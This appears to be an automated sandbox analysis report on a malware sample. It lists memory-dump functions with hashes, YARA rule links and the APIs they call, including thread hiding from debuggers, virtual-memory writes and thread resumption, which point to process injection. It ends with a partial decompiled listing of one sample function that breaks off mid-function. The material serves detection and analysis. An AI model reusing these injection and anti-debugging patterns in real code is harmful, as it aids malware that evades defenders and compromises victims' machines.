Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: e6abe2bc0fe48e236091810d15f3f89a210862fb3bd8f50c5dc52ddd30877a1f
Instruction ID: b9e3056fbf9be22870a7f0e7f00704d432ca7a160bf365ffdc8c88103d53136e
Opcode Fuzzy Hash: e6abe2bc0fe48e236091810d15f3f89a210862fb3bd8f50c5dc52ddd30877a1f
Instruction Fuzzy Hash: EC21067078032AEAFB106E648C51BDB26979F88750F8142A6FE756B2C0E774CC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02150512, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567

Strings

1.!T, xrefs: 02150537

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: b64393878f1e3059d984ed1a99d26fb93be00b124f19c0c7d2fb6db203c40c82
Instruction ID: c00c3a8cc983762f889c6311e34aed5e8d72b16206010a21717c6eb2f4b3cb6f
Opcode Fuzzy Hash: b64393878f1e3059d984ed1a99d26fb93be00b124f19c0c7d2fb6db203c40c82
Instruction Fuzzy Hash: F1112975680329EAFB206E648C91BDF26575F897A4F500395FE316B2C0E3B0CC41C691

Uniqueness

Uniqueness Score: -1.00%

Function 021534DA, Relevance: 1.8, APIs: 1, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46047b8e821df6d09cd3957461c84c8d86a456712e0b8262c544fa1764a23ae
Instruction ID: 1411b479fb708045f1b16872315a81e5f748f45c624f5c88b48afc9d4b8fd395
Opcode Fuzzy Hash: b46047b8e821df6d09cd3957461c84c8d86a456712e0b8262c544fa1764a23ae
Instruction Fuzzy Hash: 62B137B2B80215FFEF255F20CC85BEA3B66EF04344F5541A9EEA59B2C0C3B99484CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02150D7C, Relevance: 1.8, APIs: 1, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 306e119af675fade5a2bb7685290b644c1a3ecd8a03d7a3d1e770aa79a37a907
Instruction ID: 73719d7079af68739c3149025887a2682dc118fc85c4a0bfdf63fccf6e8f8215
Opcode Fuzzy Hash: 306e119af675fade5a2bb7685290b644c1a3ecd8a03d7a3d1e770aa79a37a907
Instruction Fuzzy Hash: E8A1CFB2680215FFFF355F60CC45BEA3A62EF44744F904169FE686A2D0C3B99884CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02151F46, Relevance: 1.8, APIs: 1, Instructions: 276nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

NtWriteVirtualMemory.NTDLL(?,00000000,00000000,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021522F4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID:
API String ID: 3569954152-0
Opcode ID: 4cdeb5e5d661bbd0ace784e8a4cc3da0aaab1390f392913960e9bf5566458106
Instruction ID: 54ea3fd5727057f7b0c61d5b50689801fd9e152e17ae5f34009ab5e3f448dfa0
Opcode Fuzzy Hash: 4cdeb5e5d661bbd0ace784e8a4cc3da0aaab1390f392913960e9bf5566458106
Instruction Fuzzy Hash: 07A1E4B1780215FFFF655F20CC85BEA3A62EF04744F944169FE689A2D0C3B99884CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02154876, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 87170adacf107d32976a926b71eb09e0f150037b81b478ef46cbd807872ca483
Instruction ID: b521ee9fc05bca56d4b8abc2604cbcf74ee3b9566defd65afefd81c520d73aa4
Opcode Fuzzy Hash: 87170adacf107d32976a926b71eb09e0f150037b81b478ef46cbd807872ca483
Instruction Fuzzy Hash: CBA10770984766CFDB349F28C8D4769BBA19F52360F4482D9DDB68F2D6D3318482C722

Uniqueness

Uniqueness Score: -1.00%

Function 02150E3E, Relevance: 1.8, APIs: 1, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1dfb0da592500a8eb44d77c0eb411a84cebec17463b501959bf96163ee64bf
Instruction ID: 1feafb64b29b444f74a506106b2b5b0267c749542658d298874cb8b2d46500e3
Opcode Fuzzy Hash: 4a1dfb0da592500a8eb44d77c0eb411a84cebec17463b501959bf96163ee64bf
Instruction Fuzzy Hash: FA91F3B2780215FFFB255F20CC85BEA3A62EF44744F944169FE68AB2C0C3B99484CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02151F72, Relevance: 1.7, APIs: 1, Instructions: 243nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

NtWriteVirtualMemory.NTDLL(?,00000000,00000000,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021522F4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID:
API String ID: 3569954152-0
Opcode ID: f06fb4638e17534ef1809f0bd1cd916cc106050e7272a4e809ce51f3bc07e94f
Instruction ID: 005d68a36ffe54057a403b3933817e03e0799de80c6f2052563ec7e2808e047d
Opcode Fuzzy Hash: f06fb4638e17534ef1809f0bd1cd916cc106050e7272a4e809ce51f3bc07e94f
Instruction Fuzzy Hash: 5D81E0B2780215FFFB255F20CC85BEA3A66EF44744F944169FE649B2D0C3B99884CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02151FEA, Relevance: 1.7, APIs: 1, Instructions: 212nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

NtWriteVirtualMemory.NTDLL(?,00000000,00000000,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021522F4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID:
API String ID: 3569954152-0
Opcode ID: 51a1abb6c04a4ae405be6f847ac5a12d39ef888209f823bddafedfaae00c0393
Instruction ID: 2e76de86041b20411abe350f427216bf2b63c7fcac2e9202a8fb0269a1fdec4a
Opcode Fuzzy Hash: 51a1abb6c04a4ae405be6f847ac5a12d39ef888209f823bddafedfaae00c0393
Instruction Fuzzy Hash: F571E1B2680215EFFB255F20CC85BEA3A62FF18344F544169EEA49B2D0C3B998C4CB44

Uniqueness

Uniqueness Score: -1.00%

Function 02152066, Relevance: 1.7, APIs: 1, Instructions: 185nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,00000000,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021522F4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: fb7e19b8dfa64f4f02107629fe3fa0d490c833185e3d0fa6daf60490e6c9f09a
Instruction ID: 1928806877df98ca2bd87aa090540117df7a6d38e8d42962b112836de809b0eb
Opcode Fuzzy Hash: fb7e19b8dfa64f4f02107629fe3fa0d490c833185e3d0fa6daf60490e6c9f09a
Instruction Fuzzy Hash: 6061B0B2680209EFFB654F24CC85BEA3A62FF18744F544169FE959A2D0C3B9D8C49B44

Uniqueness

Uniqueness Score: -1.00%

Function 02155133, Relevance: 1.6, APIs: 1, Instructions: 136nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9b1e8fd1c233ddb9177d6eca74d04127ee5903a2ca6204c6e1a448de1a2e2b30
Instruction ID: 2a9d7982b6168bcf8bec3bb40c316717ce041a101ef92d23ff1c12ce3c5b9f3f
Opcode Fuzzy Hash: 9b1e8fd1c233ddb9177d6eca74d04127ee5903a2ca6204c6e1a448de1a2e2b30
Instruction Fuzzy Hash: 81411430795626FFEF289924C5A43E53293AF41365FD982B9CEB6971A0E73484C1C711

Uniqueness

Uniqueness Score: -1.00%

Function 02152182, Relevance: 1.6, APIs: 1, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,00000000,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021522F4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 6ff2008b05a9c6d3b5c34e3f8a5c663ac355a59dc248b7fe6b6da809805609be
Instruction ID: e16a5d7ef177d49f2f1e4adcf4c893f2474f27290adb1158ce0a06929cedd005
Opcode Fuzzy Hash: 6ff2008b05a9c6d3b5c34e3f8a5c663ac355a59dc248b7fe6b6da809805609be
Instruction Fuzzy Hash: DB41E2B6680218EFFF655F20CC85BEA3A62FF18344F544168FEA49A190C7B9D8C0CB44

Uniqueness

Uniqueness Score: -1.00%

Function 02155167, Relevance: 1.6, APIs: 1, Instructions: 112nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 147ecdb667fe0e7f0d8eb1c3dc1d1c624f867d7641ea83a72e9787008a26e911
Instruction ID: 74c99b7959a510d9af73a27819a1bafe6455ceec9c61fb77c8762d9f650e7252
Opcode Fuzzy Hash: 147ecdb667fe0e7f0d8eb1c3dc1d1c624f867d7641ea83a72e9787008a26e911
Instruction Fuzzy Hash: 7431E130795622FEEF298A24C5643A53293AF41365FDA82F9CE77971A0E73484C2CB11

Uniqueness

Uniqueness Score: -1.00%

Function 021551B6, Relevance: 1.6, APIs: 1, Instructions: 100nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 26b946bc7c80ef34f9e4ff6e1b3f358b1e233eeecd2fd84b4b7947ccf869c944
Instruction ID: bc3794c1004458c558864d7b70893a886433a0f113cdca57b2750e6bda7aa6f0
Opcode Fuzzy Hash: 26b946bc7c80ef34f9e4ff6e1b3f358b1e233eeecd2fd84b4b7947ccf869c944
Instruction Fuzzy Hash: 7F31F430795666FEEF299A24C9143E53293AF41365FDA82F9CE76971A0E73480C2CB11

Uniqueness

Uniqueness Score: -1.00%

Function 021551E3, Relevance: 1.6, APIs: 1, Instructions: 95nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: da5c515185294abbbb6d396dc7bad5ee8cb9e4961e51e80ad9302db1193265a2
Instruction ID: 868a53911ae17b57664d83eb185e448c83a7ac886681860c5e38a5dc41904800
Opcode Fuzzy Hash: da5c515185294abbbb6d396dc7bad5ee8cb9e4961e51e80ad9302db1193265a2
Instruction Fuzzy Hash: AD31E530795662FEEF289E24C5143E53293AF41365FDA82B9CE76971A0E73484C1CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0215520A, Relevance: 1.6, APIs: 1, Instructions: 92nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 12f87079645208c9ec19bd72be8bc6c16732f706294c51784adac2b9dea91a2b
Instruction ID: 91dee18b13ce759b4c13ce981a8ea49e0a302da5353679bb56d65e967673f9c7
Opcode Fuzzy Hash: 12f87079645208c9ec19bd72be8bc6c16732f706294c51784adac2b9dea91a2b
Instruction Fuzzy Hash: A431F530795662FEEF289A14C5143A532A3AF41365FDA82B9CE77971A0E734C4C1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0215522E, Relevance: 1.6, APIs: 1, Instructions: 90nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: fb30872a4d9dd41b83d74fa29f63ed54bca581bf0e1fe41c70e192345f4a9db2
Instruction ID: eb3cf604f18c2515afe06e6db5ad8b0883a076c2dd753a19914ea68502919912
Opcode Fuzzy Hash: fb30872a4d9dd41b83d74fa29f63ed54bca581bf0e1fe41c70e192345f4a9db2
Instruction Fuzzy Hash: E531E430791666FEEF289E14C9143A532A3AF41366FD982B9CE76971A0E734C4C1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 021521FE, Relevance: 1.6, APIs: 1, Instructions: 90nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,00000000,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021522F4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: d7bebc5d9cc6a20a90db65829bb04addd8c290d5ae2757cb2b6934ec8e850e4d
Instruction ID: 005d9ce714847513ed5c69d2f3439a3f515968624d05288384fea610d27382ef
Opcode Fuzzy Hash: d7bebc5d9cc6a20a90db65829bb04addd8c290d5ae2757cb2b6934ec8e850e4d
Instruction Fuzzy Hash: D431BFB6680218EFEF655F20CCC4BEA3A63FF18384F544168FD6496190C77998C49B41

Uniqueness

Uniqueness Score: -1.00%

Function 02155256, Relevance: 1.6, APIs: 1, Instructions: 89nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2ffccbed19c4341529ca2c4fffae7073d3c110dc431b0606ac09276d9c70b3c8
Instruction ID: 97aad8d3ae8ffbc028721f6e351ba8fb615f070bba5743b27ab7ba941f8b8a72
Opcode Fuzzy Hash: 2ffccbed19c4341529ca2c4fffae7073d3c110dc431b0606ac09276d9c70b3c8
Instruction Fuzzy Hash: A9312330791666FEEF289E14C9183A532A3AF41362FD982B9CE76971A0E734C4C1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0215528B, Relevance: 1.6, APIs: 1, Instructions: 85nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0c1a3c1242e19912fbb6bb80c11e1040b8a4d3a7e02c0ba11aef2979241b70a6
Instruction ID: fa09705b5c411a13305dc6d6abfdc893f74f63976f504d4cfaa51847d5547e29
Opcode Fuzzy Hash: 0c1a3c1242e19912fbb6bb80c11e1040b8a4d3a7e02c0ba11aef2979241b70a6
Instruction Fuzzy Hash: 7D212730791666FFEF289E24C5143A532A3AF41326FD982B9CE76971A0E734C4C1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 021552AE, Relevance: 1.6, APIs: 1, Instructions: 81nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 37cacc40720004a1d0ddc586b385603c43c737249b602d2d18001c324e9f3aa5
Instruction ID: 7f6c1396a2e43afba39bb5d9b7611adac1758aadb34ef4f626c842c9ab6f5a15
Opcode Fuzzy Hash: 37cacc40720004a1d0ddc586b385603c43c737249b602d2d18001c324e9f3aa5
Instruction Fuzzy Hash: 1221F430791666EEEF289E14C9143A53293AF41366FD982B9CE76971A0E734C4C1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 021552DA, Relevance: 1.6, APIs: 1, Instructions: 74nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a7fa935410b135377c5da78062f0b275d085b374546c1b661bcb9606afb83731
Instruction ID: bd8c6271be5737403baaa56b209f93559de7fee5b7c7e1ee5ef8ffbf659f3acd
Opcode Fuzzy Hash: a7fa935410b135377c5da78062f0b275d085b374546c1b661bcb9606afb83731
Instruction Fuzzy Hash: 98210430751656EEEF288E14C9183A53293AF01362FD952B9CE769B1A1E734C0C1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0215532A, Relevance: 1.6, APIs: 1, Instructions: 64nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ba058ac1e39d150fe239d19e0eb1a520ca4ba4bcdfa7e294a50d2228617d0bb9
Instruction ID: 1a9d4974db2e4c16f73e528f097e21655c80d01ca8d8a043503a37e038feb8c3
Opcode Fuzzy Hash: ba058ac1e39d150fe239d19e0eb1a520ca4ba4bcdfa7e294a50d2228617d0bb9
Instruction Fuzzy Hash: 69112130756392EEEB265E24C4183A137A3AF02366FD951F9CE729B0B2E734C085C711

Uniqueness

Uniqueness Score: -1.00%

Function 021522C2, Relevance: 1.6, APIs: 1, Instructions: 55nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,00000000,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021522F4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: d60d6954a024e4f86522b73d8045ebef2f129bc11a26692583e0bf638c2111bb
Instruction ID: f5c9b2596c81d5a3d06940f5737ad2371104f52260c1feef5ae23ba5b4b22513
Opcode Fuzzy Hash: d60d6954a024e4f86522b73d8045ebef2f129bc11a26692583e0bf638c2111bb
Instruction Fuzzy Hash: 41117CB6680208EFEF655F64CC80BEA3AA3FF48340F544168EE6946161CB7A9890DB45

Uniqueness

Uniqueness Score: -1.00%

Function 021553C2, Relevance: 1.5, APIs: 1, Instructions: 32nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021553FC

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d5f891f2f1320ea325f5b485c3f898035d5cdf5961921b888e6904bd6d68c30b
Instruction ID: f7739b51a691571fa86a45f035733933382ca486f92ba4e871b434d1f9ba4a15
Opcode Fuzzy Hash: d5f891f2f1320ea325f5b485c3f898035d5cdf5961921b888e6904bd6d68c30b
Instruction Fuzzy Hash: 6DF0E528756B97A99F1AA92CCA243F532579F432A13DC42B98E72E75B0EB15C0828311

Uniqueness

Uniqueness Score: -1.00%

Function 02154CD0, Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0215496D,00000040,02150534,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02154CE9

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction ID: 8f5be131a22dbd2915fdb11b102d5d31c6b110a07b1c5addfdb7a0585f941792
Opcode Fuzzy Hash: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction Fuzzy Hash: 37C012E02240002E68048A28CD48C2BB2AA86C4A28B10C32CB832222CCC930EC048032

Uniqueness

Uniqueness Score: -1.00%

Function 02152F0E, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02152F2C

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 952e718ee29b32daeafe14d77231ee98d64fdd11e12fd87c18f0da4a706310b5
Instruction ID: 2a3ea334ebeb3cc264c8f909db8ce1ecebefc4ee3594a2be7477c5e09a55d6c0
Opcode Fuzzy Hash: 952e718ee29b32daeafe14d77231ee98d64fdd11e12fd87c18f0da4a706310b5
Instruction Fuzzy Hash: 54B092B568504E9AC454B59A4484669000B1BA1380BA9CC666022DBF6ECE0A8969B7E3

Uniqueness

Uniqueness Score: -1.00%

Function 0041609D, Relevance: 70.3, APIs: 34, Strings: 6, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0041609D(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				short _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				char _v56;
				char _v60;
				intOrPtr _v68;
				intOrPtr _v76;
				char* _v84;
				intOrPtr _v92;
				void* _v96;
				char _v100;
				signed int _v104;
				signed int _v108;
				intOrPtr* _v112;
				signed int _v116;
				signed int _v124;
				char _v128;
				signed int _v132;
				char _v136;
				signed int _v140;
				signed int _v144;
				intOrPtr* _v148;
				signed int _v152;
				intOrPtr* _v156;
				signed int _v160;
				signed int _t125;
				signed int _t130;
				signed int _t138;
				signed int _t142;
				signed int _t146;
				signed int _t150;
				char* _t152;
				signed int _t158;
				signed int _t163;
				signed int _t172;
				intOrPtr _t209;

				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t209;
				_t125 = 0x8c;
				L004014D0();
				_v12 = _t209;
				_v8 = 0x4012c0;
				asm("fldz");
				L00401554();
				L0040160E();
				asm("fcomp qword [0x4012b8]");
				asm("fnstsw ax");
				asm("sahf");
				if(__eflags != 0) {
					_t125 =  *((intOrPtr*)( *_a4 + 0x254))(_a4, 0x475e);
					asm("fclex");
					_v104 = 0x8c;
					if(_v104 >= 0) {
						_t11 =  &_v124;
						 *_t11 = _v124 & 0x00000000;
						__eflags =  *_t11;
					} else {
						_push(0x254);
						_push(0x402884);
						_push(_a4);
						_push(_v104);
						L004016CE();
						_v124 = 0x8c;
					}
				}
				_push(0x403568);
				L00401608();
				L004016E0();
				_push(_t125);
				_push(0x403570);
				L004016E6();
				asm("sbb eax, eax");
				_v104 =  ~( ~( ~_t125));
				L004016D4();
				if(_v104 != 0) {
					if( *0x423420 != 0) {
						_v128 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v128 = 0x423420;
					}
					_t19 =  &_v128; // 0x423420
					_v104 =  *((intOrPtr*)( *_t19));
					_v84 = L"Forherligelser";
					_v92 = 8;
					_v68 = 0xac;
					_v76 = 2;
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t172 =  *((intOrPtr*)( *_v104 + 0x38))(_v104, 0x10, 0x10,  &_v56);
					asm("fclex");
					_v108 = _t172;
					if(_v108 >= 0) {
						_t36 =  &_v132;
						 *_t36 = _v132 & 0x00000000;
						__eflags =  *_t36;
					} else {
						_push(0x38);
						_push(0x40318c);
						_push(_v104);
						_push(_v108);
						L004016CE();
						_v132 = _t172;
					}
					_push( &_v56);
					_push( &_v60);
					L004015FC();
					_push( &_v60);
					_push( &_v24);
					L00401602();
					L004016AA();
				}
				_v68 = 0x80020004;
				_v76 = 0xa;
				_t130 = 0x10;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"retssagen");
				_push(L"Mjave");
				_push(L"Domineringer"); // executed
				L004015F6(); // executed
				L004016E0();
				_push(_t130);
				_push(0);
				L004016E6();
				asm("sbb eax, eax");
				_v104 =  ~( ~( ~_t130));
				L004016D4();
				if(_v104 != 0) {
					if( *0x423420 != 0) {
						_v136 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v136 = 0x423420;
					}
					_t52 =  &_v136; // 0x423420
					_v104 =  *((intOrPtr*)( *_t52));
					_t158 =  *((intOrPtr*)( *_v104 + 0x1c))(_v104,  &_v40);
					asm("fclex");
					_v108 = _t158;
					if(_v108 >= 0) {
						_t63 =  &_v140;
						 *_t63 = _v140 & 0x00000000;
						__eflags =  *_t63;
					} else {
						_push(0x1c);
						_push(0x40318c);
						_push(_v104);
						_push(_v108);
						L004016CE();
						_v140 = _t158;
					}
					_v112 = _v40;
					_t163 =  *((intOrPtr*)( *_v112 + 0x64))(_v112, 1,  &_v96);
					asm("fclex");
					_v116 = _t163;
					if(_v116 >= 0) {
						_t76 =  &_v144;
						 *_t76 = _v144 & 0x00000000;
						__eflags =  *_t76;
					} else {
						_push(0x64);
						_push(0x403458);
						_push(_v112);
						_push(_v116);
						L004016CE();
						_v144 = _t163;
					}
					_v28 = _v96;
					L0040169E();
				}
				if( *0x423010 != 0) {
					_v148 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v148 = 0x423010;
				}
				_t138 =  &_v40;
				L004016B6();
				_v104 = _t138;
				_v68 = 0x80020004;
				_v76 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t142 =  *((intOrPtr*)( *_v104 + 0x1ec))(_v104, L"CONOSCENTE", 0x10, _t138,  *((intOrPtr*)( *((intOrPtr*)( *_v148)) + 0x2fc))( *_v148));
				asm("fclex");
				_v108 = _t142;
				if(_v108 >= 0) {
					_t99 =  &_v152;
					 *_t99 = _v152 & 0x00000000;
					__eflags =  *_t99;
				} else {
					_push(0x1ec);
					_push(0x4031d0);
					_push(_v104);
					_push(_v108);
					L004016CE();
					_v152 = _t142;
				}
				L0040169E();
				if( *0x423010 != 0) {
					_v156 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v156 = 0x423010;
				}
				_t146 =  &_v40;
				L004016B6();
				_v104 = _t146;
				_t150 =  *((intOrPtr*)( *_v104 + 0x1c0))(_v104,  &_v100, _t146,  *((intOrPtr*)( *((intOrPtr*)( *_v156)) + 0x30c))( *_v156));
				asm("fclex");
				_v108 = _t150;
				if(_v108 >= 0) {
					_t118 =  &_v160;
					 *_t118 = _v160 & 0x00000000;
